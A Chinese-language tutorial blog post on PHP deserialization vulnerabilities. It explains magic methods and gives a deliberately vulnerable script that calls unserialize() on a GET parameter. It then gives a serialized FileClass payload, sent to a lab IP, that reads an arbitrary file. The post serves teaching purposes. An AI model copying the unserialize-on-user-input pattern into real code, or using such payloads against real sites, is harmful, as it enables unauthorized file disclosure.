關於反序列化漏洞的一些理解

  php類可能會包含一些特殊的函數叫magic函數,magic函數命名是以符號__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函數在某些情況下會自動調用,比如__construct當一個對象創建時被調用,__destruct當一個對象銷燬時被調用,__toString當一個對象被當作一個字符串使用。爲了更好的理解magic方法是如何工作的,在2.php中增加了三個magic方法,__construct, __destruct和__toString。可以看出,__construct在對象創建時調用,__destruct在php腳本結束時調用,__toString在對象被當作一個字符串使用時調用。這些魔術函數有點類似c++裏的構造函數和析構函數。而反序列化漏洞正是利用魔術函數執行腳本。

  序列化函數serialize()執行的操作是保存一個類,至於爲什麼要保存,可以舉一個簡單的例子來看一下,比如php中一個腳本b需要調用上一個腳本a的數據,而腳本b需循環多次,因爲腳本a執行完後其本身的數據就會被銷燬,總不可能b每次循環時都執行一遍腳本a吧,serialize()就是用來保存類的數據的,而unserialize()則是將保存的類的數據轉換爲一個類。

  知道了這些後就可以看反序列化漏洞是如何利用魔術函數的了,先來看一個例子,以下php代碼保存爲test.php

<?php

class FileClass

{

public $filename = 'error.log';

// 當對象被作爲一個字符串會讀取這個文件

public function __toString()

{

return file_get_contents($this->filename);

}

} 

class User  
{  
    // Class data  
   
    public $age = 0;  
    public $name = '';  
   
    // 允許對象作爲一個字符串輸出上面的data  
   
    public function __toString()  
    {  
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
    }  
}  
   
// 用戶可控  
   
$obj = unserialize($_GET['usr_serialized']);  
   
// 輸出__toString  
   
echo $obj;  
   

?>

  然後創建1.txt

然後創造利用函數1.php

<?php  
 
include 'test.php';  
$fileobj = new FileClass();  
$fileobj->filename = '1.txt';  
   
echo serialize($fileobj);  
   
?> 

new fileclass這個類時會調用_tostring()這個魔術函數,通過指定filename爲1.txt

訪問http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

成功顯示了1.txt的內容。利用成功。

再來看一道ctf題 http://120.24.86.145:8006/test1

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章